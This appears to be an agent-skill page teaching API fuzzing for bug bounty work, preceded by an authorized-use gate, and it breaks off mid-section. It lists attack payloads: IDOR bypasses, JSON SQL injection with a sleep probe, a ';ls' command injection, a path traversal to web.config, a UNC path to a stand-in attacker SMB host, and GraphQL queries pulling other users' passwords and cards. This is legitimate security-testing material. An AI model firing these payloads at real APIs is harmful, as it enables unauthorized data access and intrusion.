# API Fuzzing Bug Bounty > Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exp - Skill: `ranbot-ai/api-fuzzing-bug-bounty` (Agent Skill) - Install (CLI): `npx skillmds add ranbot-ai/api-fuzzing-bug-bounty` - Raw SKILL.md: https://api.skillmd.com/api/skills/ranbot-ai/api-fuzzing-bug-bounty/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Product & Planning - Author: ranbot-ai (https://skillmd.com/u/ranbot-ai) - Updated: 2026-09-08 - Page: https://skillmd.com/skills/ranbot-ai/api-fuzzing-bug-bounty --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. > AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # API Fuzzing for Bug Bounty ## Purpose Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors. ## Inputs/Prerequisites - Burp Suite or similar proxy tool - API wordlists (SecLists, api_wordlist) - Understanding of REST/GraphQL/SOAP protocols - Python for scripting - Target API endpoints and documentation (if available) ## Outputs/Deliverables - Identified API vulnerabilities - IDOR exploitation proofs - Authentication bypass techniques - SQL injection points - Unauthorized data access documentation --- ## API Types Overview | Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint | --- ## Core Workflow ### Step 1: API Reconnaissance Identify API type and enumerate endpoints: ```bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ``` ### Step 2: Authentication Testing ```bash # Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ``` ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: ```bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders ``` **IDOR Bypass Techniques:** ```bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=&id= # Wildcard injection {"user_id":"*"} # Parameter pollution /api/get_profile?user_id=&user_id= {"user_id":,"user_id":} ``` ### Step 4: Injection Testing **SQL Injection in JSON:** ```json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC ``` **Command Injection:** ```bash # Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/ ``` **XXE Injection:** ```xml ]> ``` **SSRF via API:** ```html ``` **.NET Path.Combine Vulnerability:** ```bash # If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png ``` ### Step 5: Method Testing ```bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ``` --- ## GraphQL-Specific Testing ### Introspection Query Fetch entire backend schema: ```graphql {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}} ``` **URL-encoded version:** ``` /graphql?query={__schema{types{name,kind,description,fields{name}}}} ``` ### GraphQL IDOR ```graphql # Try accessing other user IDs query { user(id: "OTHER_USER_ID") { email password creditCard } } ``` ### GraphQL SQL/NoSQL Injection ```graphql mut